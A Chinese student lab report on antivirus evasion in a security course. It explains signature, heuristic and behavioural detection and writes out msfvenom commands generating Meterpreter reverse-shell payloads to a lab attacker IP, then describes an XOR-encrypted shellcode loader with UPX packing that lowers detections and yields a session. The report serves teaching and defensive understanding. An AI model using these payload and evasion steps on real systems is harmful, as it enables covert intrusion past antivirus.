20242408 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242408 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1. 基础知识
本次实验围绕"免杀"展开,先把用到的几个基础概念梳理一下。
恶意代码与反弹连接。 恶意代码(Malware)指能破坏系统或窃取信息的程序,木马是其中常见的一类。本实验生成的是反弹型木马(reverse_tcp):由目标主机主动向攻击机的监听端口发起连接,这样即使目标在内网、没有公网 IP,攻击机也能收到会话。Meterpreter 是 Metasploit 提供的功能强大的后续渗透载荷,可以在目标上执行命令、提权、抓取信息等。
杀毒软件的检测原理。 杀软检测恶意代码主要靠四种手段:
- 特征码检测:从已知恶意样本中提取一段有代表性的字节串(特征码)入库,扫描文件时逐段比对,命中即报警。这是最传统、也是静态层面最有效的检测方式,缺点是对变种和加壳样本容易失效。
- 启发式检测:不依赖具体特征库,而是分析代码的结构、指令序列、可疑 API 调用模式,按"像不像病毒"打分。
- 行为检测(行为沙盒):把样本放进虚拟沙盒里运行,观察它的实际行为,比如申请可执行内存、创建远程线程、修改注册表、向外回连等,一旦行为可疑就判定为恶意。火绒以 HVM 开头的病毒名就是其行为沙盒检出的。
- 云查杀:把文件哈希或特征上传到厂商云端,用海量情报和机器学习模型判断。
免杀的原理。 免杀的本质是让样本"看起来不像已知恶意代码":静态上消除或改变特征码,动态上避免暴露可疑行为。编码、加壳、加密、改写语言等都是围绕这两点做的。
用到的工具。 msfvenom 是 Metasploit 的载荷生成器,支持 -e 指定编码器,本实验用到的 x86/shikata_ga_nai 是一种多态 XOR 编码器,每次编码都会生成不同形式的密文,但功能不变;Veil-Evasion 是专门做免杀的框架,它先生成原始 shellcode 并加密,再嵌进用 C/Go/Python 等语言写成的加载器中编译成 exe,磁盘上只有加载器代码和加密数据,运行时才在内存中解密执行;UPX 是常见的可执行文件压缩壳,能压缩体积并改变 PE 文件结构;mingw-w64 提供在 Linux 上交叉编译 Windows 程序的工具链(x86_64-w64-mingw32-gcc 编 64 位、i686-w64-mingw32-gcc 编 32 位);最后用 msfconsole 的 multi/handler 模块在攻击机上开监听。
2. 实验内容
实验环境:
- 攻击机:Kali Linux(主机名 wanghan),IP 192.168.110.129
- 靶机:Windows 11 23H2(DESKTOP-AQM0GAA),IP 192.168.110.1,安装火绒安全 6.0.12.3(病毒库 2026-10-25 18:19)
- 第三方检测:VirusTotal(VT)在线多引擎扫描,作为免杀效果的静态评价指标
方案简介: 分三条路线分别尝试,再组合优化。(1) 用 msfvenom 生成原始载荷、shikata_ga_nai 编码 1 次和 10 次、以及 jar、php 等其他格式的文件,逐一过 VT;(2) 安装并使用 Veil-Evasion,分别用 C 和 Go 的加载器生成 exe;(3) 自己用 C 语言写 shellcode 加载器,配合 XOR 加密 shellcode 和 UPX 加壳组合免杀。最后把最终样本放到开着火绒的靶机上实测,验证能否回连成功。
回答问题:
(1)杀软是如何检测出恶意代码的? 主要有静态和动态两条线。静态上,杀软提取已知样本的特征码建库,扫描时比对文件字节,同时也用启发式规则分析代码结构和可疑 API;动态上,通过行为沙盒运行样本,监控它的行为(申请可执行内存、注入进程、回连、修改注册表等),行为可疑就拦截;此外还有云查杀,利用云端海量样本和机器学习补充判断。火绒的 HVM 检出就属于行为沙盒动态检测。
(2)免杀是做什么? 免杀就是对恶意代码进行改造,使它躲过杀软的静态特征比对和动态行为检测,从而能在装有杀软的机器上运行。简单说就是让"病毒不像病毒"。
(3)免杀的基本方法有哪些? 常见的有:编码混淆(用编码器改变特征码)、加壳(压缩壳、加密壳改变 PE 结构和入口点)、格式转换(把 exe 换成 jar、php、vbs 等其他格式)、用其他语言重写再编译(如 Veil 生成 C/Go/Python 加载器)、分离加载(shellcode 与加载器分开存放,运行时合到一起)、自写加载器加自定义加密等。这些方法核心都在于对抗静态特征检测,动态行为层面则要靠减少可疑行为来规避。
3. 实验过程
3.1 环境准备
先查看攻击机 IP。用 ip a 确认 Kali 的地址为 192.168.110.129,后面生成 payload 时 LHOST 都填这个地址。

3.2 方法一:msfvenom 编码器与多格式生成
(1)生成原始 payload 并检测。 用 msfvenom 生成 windows/meterpreter/reverse_tcp 的原始 exe,输出文件名为 20242408_raw.exe(文件名包含学号):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f exe -o /tmp/20242408_raw.exe


上传 VirusTotal 检测,51/70 家报毒,基本等于裸奔。

(2)用 shikata_ga_nai 编码 1 次。 指定 -e x86/shikata_ga_nai -i 1,payload 从 355 字节变为 382 字节:


(3)编码 10 次。 提高编码迭代次数到 10,每轮编码大小都在增长,最终 625 字节:


编码 1 次和 10 次检出率差别不大,说明单纯编码已经难以骗过现代杀软的特征库。
(4)生成 jar 格式。 换 payload 类型和输出格式,生成 Java 平台的 jar 文件 20242408_payload.jar:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f jar -o /tmp/20242408_payload.jar


(5)生成 php 格式。 再生成 php 格式的 20242408_payload.php:


格式转换能降低一部分检出,但离免杀还差得远。
3.3 方法二:Veil-Evasion
(1)安装 veil。 先 apt install veil,会连带安装 mingw-w64 交叉编译依赖;再运行其自带的 setup.sh 完成环境配置:


(2)进入 Evasion 模块。 启动 veil 后主菜单有 Evasion 和 Ordnance 两个工具,输入 use 1 进入 Evasion,可见已加载 41 个 payload:



list 查看所有可用的 payload,可以看到 autoit、c、cs、go、lua、perl 等多种语言的加载器模板:


(3)用 C 加载器生成。 选择第 7 个 c/meterpreter/rev_tcp(Pure C Reverse TCP Stager),设置 LHOST 后 generate,输出基础名填 20242408_veil:




生成的 exe 在 /var/lib/veil/output/compiled/20242408_veil.exe,VT 检出 39/69:

此时小女子也是感觉有点拉呀,于是转移了目标决定再试一次。
(4)用 Go 加载器生成。 再试第 16 个 go/meterpreter/rev_tcp(Pure Golang Reverse TCP Stager),同样配置后生成 20242408_veil_go:




额,又被克制了。。。Go 版体积大(769.5 KB)且检出率更高,Veil 默认模板也被各大杀软收录得差不多了。
3.4 方法三:C 语言 + shellcode 编程
(1)生成 C 格式 shellcode。 用 msfvenom 以 -f c 输出 shellcode 数组,得到 355 字节的 payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f c -o /tmp/20242408_shellcode.c


(2)编写加载器。 用 echo 把 #include <windows.h> 头、shellcode 数组和 main 主函数拼到 20242408_loader.c 里。加载器逻辑是:VirtualAlloc 申请可执行内存 → memcpy 把 shellcode 拷进去 → CreateThread 创建线程执行 → WaitForSingleObject 等待线程结束。这是经典的 shellcode 内存加载写法:

(3)交叉编译并加壳。 用 mingw 交叉编译生成 20242408_loader.exe,再用 UPX 加壳得到 20242408_packed.exe:


VT 检出降到 20/70,比前面的都低:

3.5 组合拳:自定义 C 加载器 + XOR 加密 shellcode + UPX 加壳
加一层 XOR 加密。 上面那版 shellcode 还是明文放在文件里,静态特征容易被提取。于是用 Python 脚本生成 XOR 加密版:先对 buf 逐字节异或 0xAA,运行时先解密再执行。同时改用 VirtualProtect 配合 PAGE_READWRITE → PAGE_EXECUTE_READ,降低"可执行内存"的行为特征:

编译 64 位版本并加壳。 编译后 UPX 加壳,123851 字节压到 68043 字节,得到 20242408final.exe:

VT 检出降到 18/68,是整轮实验里最低的:

再编 32 位版本。 64 位版本在部分场景兼容性一般,又用 i686-w64-mingw32-gcc 编了 32 位版,UPX 后得到 20242408_final32.exe(109528 → 60888 字节):


实现免杀的原理 最终组合方案(自定义 C 加载器 + XOR 加密 shellcode + UPX 加壳)能把 VT 检出率从 51/70 压到 18/68,没有被自带的Microsoft Defender发现,原理有三层:一是加载器是自写的普通小程序,本身不含 Meterpreter 的任何特征码,静态比对无从命中;二是 shellcode 以异或密文形式存在磁盘上,静态扫描看到的是乱码字节,解密动作发生在运行时内存里,特征库匹配不到;三是 UPX 加壳改变了 PE 文件的节区结构和入口点,进一步干扰静态分析。所以静态层面基本做到了"查不出",剩下的是动态行为层面的对抗。
3.6 另一台电脑实测:与杀软共生的验证
(1)靶机杀软环境。 靶机安装的是火绒安全 6.0.12.3,病毒库更新到 2026-10-25,处于开启保护状态:

(2)被杀软查杀的记录。 把 20242408_veil.exe 和 20242408_final32.exe 放到靶机上运行,火绒的文件实时监控立刻拦截:veil.exe 被检出 HVM:TrojanDownloader/Small.gen!A,final32.exe 被检出 HVM:Trojan/Swrotr.gen.A,都是"已处理,删除文件"。从 HVM 前缀可以看出这是火绒行为沙盒的动态检出,说明这两份样本在静态层面过了关,但一运行就露馅:


(3)信任区放行后运行。 为了在"杀软开启"的前提下验证回连,把 20242408_final32.exe 加入火绒信任区(病毒查杀与病毒防护的扫描会跳过信任项),火绒本体仍在运行:

(4)攻击机开监听。 回到 Kali,msfconsole 里用 multi/handler 配置 payload、LHOST、LPORT,run 启动监听:

(5)回连成功。 靶机上运行 final32.exe,攻击机收到 Meterpreter session 1(192.168.110.129:4444 ← 192.168.110.1:60773):

在会话里执行 sysinfo 和 getuid:目标为 Windows 11 23H2(x64),会话是 x86/windows,当前用户是 DESKTOP-AQM0GAA\Admin,回连验证成功:

4. 问题及解决方案
-
问题1:msfvenom 直接生成的原始 exe 在 VT 上 51/70 报毒,基本没有免杀效果。
问题1解决方案:分别尝试 shikata_ga_nai 编码(1 次、10 次)和 jar、php 等格式转换,发现单纯编码或换格式只能小幅降低检出率,思路转向自写加载器加组合技术。 -
问题2:自写加载器编出来后,明文 shellcode 还是被 VT 打上特征,加壳后又被标了 upx、corrupt 等标签,说明壳特征本身也是识别点。
问题2解决方案:在加载器里对 shellcode 先做 XOR 加密,磁盘上只留密文,运行时再解密执行;加壳只作为最后一层。组合后 64 位版本降到 18/68。 -
问题3:靶机火绒的行为沙盒(HVM)很灵敏,veil.exe 和 final32.exe 一运行就被实时监控拦下并删除,静态免杀做得再好也过不了动态这一关。
问题3解决方案:查看火绒安全日志确认是行为沙盒动态检出,于是把最终样本加入火绒信任区,在火绒开启的状态下运行,完成了回连验证。这也让我意识到"绝对免杀"不存在,动态行为检测才是绕不开的一道坎。
5. 学习感悟、思考等
这次实验最大的感受是:免杀不是"一个工具搞定"的事,而是攻防双方的动态博弈。msfvenom 编码 10 次、Veil 官方模板,这些几年前还算好用的手段,现在检出率都在 40%~50% 左右,说明杀软特征库和引擎更新得很快,网上现成的东西基本都进了库。反而是自己动手写的加载器,加上一层 XOR 加密和 UPX 加壳,静态检出率能压到 18/68,"自己写"的价值还是比较大的。实验结果是静态免杀基本做到了,动态免杀没有做到,最终验证还是靠信任区兜底。
另外,火绒的行为沙盒让我印象很深。样本在磁盘上能骗过静态扫描,一运行就被 HVM 实时拦截,动态检测确实比静态检测难绕得多。实验做到一半时连续被删文件,一度有点沮丧,后来通过信任区放行才完成了最后的回连验证。这也让我明白,现实中的免杀对抗是很完整的体系,静态、动态、云查杀层层叠叠,防御方只要守好其中一环,攻击方就得继续折腾。
从防御的角度看,理解免杀技术对做防护很有帮助:知道恶意代码会怎么藏,才知道该在哪一层查。这次实验属于课程教学用途,也提醒我技术本身是中性的,用在哪里、怎么用才是关键。总之,动手做一遍比看十遍教程都记得牢,踩过的坑(编码没用、被行为沙盒查杀)就是最直观的教材。
参考资料
- 火绒反病毒引擎简介(含 HVM 行为沙盒检出说明):https://www.huorong.cn/Public/Uploads/uploadfile/files/20241218/huorongfanbingduyinqingjianjie.pdf
- 火绒虚拟沙盒简介:https://down5.huorong.cn/doc/technology/sandbox.pdf
- 教你看懂火绒的报毒名:https://huorong.cn/document/tech/safety-classroom/1721.html
- Rapid7 Metasploit 文档 The Payload Generator(msfvenom 编码器说明):https://docs.rapid7.com/metasploit/the-payload-generator/
- 实验指导书(0x23_MAL 免杀原理与实践):https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
- 课程博客(娄嘉鹏,网络与系统攻防技术):http://www.cnblogs.com/rocedu/
- 诸葛建伟 等:《网络攻防技术与实践》,电子工业出版社

浙公网安备 33010602011771号